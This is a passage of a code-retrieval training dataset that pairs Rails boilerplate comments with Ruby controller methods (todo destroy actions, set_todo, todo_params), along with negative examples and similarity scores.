"def destroy\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to todos_url }\n format.json { head :no_content }\n end\n end",
"def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end",
"def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end",
"def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path, notice: t('todos.success_destroy') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo.destroy\n render json: [\"Deleted successfully.\"], status: :ok\n end",
"def destroy\n @todo = Todo.find_by(id: params[:id])\n Todo.delete(@todo)\n @@all = Todo.all\n render json: @@all\n end",
"def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to todos_url, notice: \"To-Do was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to todos_url, notice: 'Tehtävä poistettu.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo = Todo.find(params[:todo][:id])\n if @todo.destroy\n render json: {status: 200, message: \"Task with id \" + @todo.id.to_s + ': removed'}\n else\n render nothing: true, status: :bad_request\n end\n end",
"def destroy\n @todo = @list.todos.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to list_todos_url(@list) }\n format.json { head :ok }\n end\n end",
"def destroy\n Todo.find(params[:id]).destroy\n render :json => {:message => \"Record deleted\", :item_id => params[:id]}\n end",
"def destroy\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to [@todo.list, @todo] }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todos = Todos.find(params[:id])\n @todos.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end",
"def delete_list(id)\n record \"/todos/delete_list/#{id}\"\n end",
"def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n respond_with @todo\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to todos_url, notice: 'Todo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to todos_url, notice: 'Todo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to todos_url, notice: 'Todo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to todos_url, notice: 'Todo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to todos_url, notice: 'Todo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to todos_url, notice: 'Todo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @todo.destroy\n @todo.update_attribute(:status, :deleted)\n TodoEvent.create_todo_delete(current_user, @todo)\n respond_to do |format|\n format.html { redirect_to @todo.project, notice: 'Todo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to @todo.list, notice: 'Todo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo.destroy\n\n head :no_content\n end",
"def destroy\n @todo3.destroy\n respond_to do |format|\n format.html { redirect_to todo3s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo.destroy\n render json: @todo\n end",
"def destroy\n todo = get_todo(user: current_user)\n\n todo.destroy\n respond_to do |format|\n format.html { redirect_back fallback_location: root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo = Todo.find_by!(id: params[:id], username: params[:username])\n @todo.destroy\n\n respond_to do |format|\n # format.html { redirect_to todos_url, notice: 'Todo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n TodoService.destroy_todo(@todo)\n respond_to do |format|\n format.html { redirect_to project_todos_url(@project), notice: 'Todo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo.destroy\n respond_with(@user, @todo)\n end",
"def delete_todo(todo)\n response = Logan::Client.delete \"/projects/#{@project_id}/todos/#{todo.id}.json\"\n end",
"def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to todos_path(:filter_project => params[:filter_project], :filter_status => params[:filter_status], :exclude_status => params[:exclude_status]) }\n format.json { head :ok }\n end\n end",
"def destroy\n @metodo = Metodo.find(params[:id])\n @metodo.destroy\n\n respond_to do |format|\n format.html { redirect_to metodos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo_task = TodoTask.find(params[:id])\n @todo_task.destroy\n\n respond_to do |format|\n format.html { redirect_to todo_tasks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo.destroy\n respond_to do |format|\n redirect_to todos_url, notice: 'Todo was successfully destroyed.'\n end\n end",
"def destroy\n @todo_list = TodoList.find(params[:id])\n @todo_list.destroy\n\n respond_to do |format|\n format.html { redirect_to todo_lists_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @todo_list = TodoList.find(params[:id])\n @todo_list.destroy\n\n respond_to do |format|\n format.html { redirect_to todo_lists_url }\n format.json { head :ok }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @todo.destroy\n head :no_content\n end",
"def destroy\n @to_do = ToDo.find(params[:id])\n @to_do.destroy\n\n head :no_content\n end",
"def destroy\n @todo.destroy!\n redirect_to root_path\n end",
"def destroy\n @todo = Todo.users(current_user.id).find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n format.js { head :ok }\n end\n end",
"def destroy\n @todoit_list.destroy\n respond_to do |format|\n format.html { redirect_to todoit_lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = TodoItem.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to todo_lists_url }\n format.json {render json: {\n success: true,\n data: [],\n message: \"TodoItem was successfully deleted.\"\n }}\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @listtodo.destroy\n respond_to do |format|\n format.html { redirect_to listtodos_url, notice: 'Listtodo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete!\n request! :delete\n end",
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n authorize! :destroy, Todo\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to project_url(@project), notice: 'Todo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(*rest) end",
"def destroy\n @todoslist.destroy\n respond_to do |format|\n format.html { redirect_to todoslists_url, notice: \"Todoslist was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project_todo = @project.project_todos.find(params[:id])\n @project_todo.destroy\n respond_to do |format|\n format.html { redirect_to project_project_todos_url}\n format.json { head :no_content }\n end\n end",
"def delete\n response = client.access_token.delete(\"#{client.base_uri}/projects/#{@project_id}/todos/#{id}.json\")\n true\n rescue OAuth2::Error => ex\n Basecamp::Error.new(ex.message).raise_exception\n end",
"def destroy\n @todo_item.destroy\n respond_to do |format|\n format.html { redirect_to todo_items_url, notice: 'Todo item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo = Todo.find(params[:id])\n\n\tif @todo.user.id != current_user.id\n\t\trender :json => { :error => \"You don't have access to this item.\" }\n\tend\n\n @todo.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def delete\n api(\"Delete\")\n end",
"def destroy\n @todo_item.destroy\n respond_to do |format|\n format.html { redirect_to todo_list_todo_items_url, notice: 'Todo item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @task.destroy\n respond_to do |format|\n format.html { redirect_to my_todo_tasks_url(@todo) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todolist.destroy\n respond_to do |format|\n format.html { redirect_to todolists_url, notice: 'Todolist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo_list.destroy\n respond_to do |format|\n format.html { redirect_to todo_lists_url, notice: 'Todo list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n ## Fetching the todo\n @todo = Todo.find(params[:id])\n \n respond_to do |format|\n ## Destroying the todo\n @todo.destroy\n \n # Fetch the todos to refresh ths list and details box\n get_collections\n @todo = @todos.first\n \n # Setting the flash message\n message = translate(\"forms.destroyed_successfully\", :item => \"Todo\")\n store_flash_message(message, :success)\n \n format.html { \n redirect_to todos_url notice: message\n }\n format.json { head :no_content }\n format.js {}\n \n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @trip_todo.destroy\n respond_to do |format|\n format.html { redirect_to trip_todos_url, notice: 'Trip todo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n\t\trequest(path, :delete)\n\tend",
"def destroy\n @todolists.destroy\n respond_to do |format|\n format.html { redirect_to todolist_url, notice: 'Task was successfully destroyed.' }\n format.json { head :no_content }\n end\nend",
"def delete(*args)\n request(:delete, *args)\n end",
"def delete(path)\n request 'DELETE', path\n end",
"def delete\n newTodos = []\n\n @@allTodos.each { |item|\n if item['id'] != @id\n newTodos.push(item)\n end\n }\n\n @@allTodos = newTodos\n Todo.presist_data\n end",
"def destroy\n @to_do_item = ToDoItem.find(params[:id])\n @to_do_item.destroy\n\n respond_to do |format|\n format.html { redirect_to to_do_items_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def delete(path)\n request(:delete, path)\n end",
"def destroy\n @to_do.destroy\n\n respond_to do |format|\n format.html { redirect_to to_dos_url, notice: 'To do was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n if body.empty? && params[:id]\n client.delete(params)\n elsif body.empty?\n client.delete_by_query(params.merge(body: body.merge(ALL)))\n else\n client.delete_by_query(params.merge(body: body))\n end\n end",
"def destroy\n @to_do.destroy\n respond_to do |format|\n format.html { redirect_to to_dos_url, notice: 'To do was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n @vtodo = Vtodo.find(params[:id])\n @vtodo.destroy\n\n respond_to do |format|\n format.html { redirect_to(vtodos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @todo_app.destroy\n respond_to do |format|\n format.html { redirect_to todo_apps_url, notice: 'Todo app was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end",
"def delete(todo)\n Rutodo::Database::Todo[todo.id].destroy.as_entity\n end",
"def destroy\n @todo.destroy\n flash[:notice] = \"Todo was deleted successfully\"\n redirect_to todos_path\n end",
"def destroy\n @todo = @list.todos.find(params[:id])\n @todo.destroy\n\n flash[:notice] = \"The to do was destroyed.\"\n redirect_to @list\n end"
] |
[
"0.7916336",
"0.78673315",
"0.7744077",
"0.7744077",
"0.7715195",
"0.7666539",
"0.7657615",
"0.7621787",
"0.7613744",
"0.76002884",
"0.7598053",
"0.7571139",
"0.7569953",
"0.7524624",
"0.75192124",
"0.7516524",
"0.7506767",
"0.74434906",
"0.7427797",
"0.7422746",
"0.73916245",
"0.7364672",
"0.73582774",
"0.73582774",
"0.73582774",
"0.73582774",
"0.73582774",
"0.73582774",
"0.7312856",
"0.7301859",
"0.7299448",
"0.7265954",
"0.72474664",
"0.7221332",
"0.7181774",
"0.7177475",
"0.7176772",
"0.7160569",
"0.71303904",
"0.7130143",
"0.71166354",
"0.71008945",
"0.7081038",
"0.7080897",
"0.705351",
"0.70487607",
"0.7036722",
"0.7011039",
"0.7008424",
"0.6987134",
"0.6982833",
"0.69783753",
"0.69720215",
"0.69714284",
"0.69577575",
"0.6953112",
"0.6935364",
"0.6933806",
"0.69325817",
"0.69272524",
"0.6912538",
"0.6910692",
"0.6908928",
"0.6901647",
"0.6900224",
"0.68895495",
"0.6889518",
"0.68889123",
"0.6877325",
"0.6872506",
"0.6870109",
"0.6838649",
"0.68323696",
"0.68323696",
"0.68323696",
"0.68323696",
"0.6831982",
"0.68285835",
"0.68143845",
"0.67996264",
"0.67981875",
"0.67922556",
"0.6791547",
"0.6783937",
"0.67779464",
"0.67624766",
"0.6746079",
"0.67440474",
"0.67440474",
"0.6737718",
"0.6734019",
"0.67259896",
"0.6723583",
"0.6723506",
"0.6719214",
"0.67159873",
"0.67062783",
"0.6704766",
"0.6699731",
"0.66824055"
] |
0.7296926
|
31
|
Use callbacks to share common setup or constraints between actions.
|
def set_todo
@todo = Todo.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def todo_params
params.require(:todo).permit(:title, :todo, :deadline, :finish, :updated_at)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
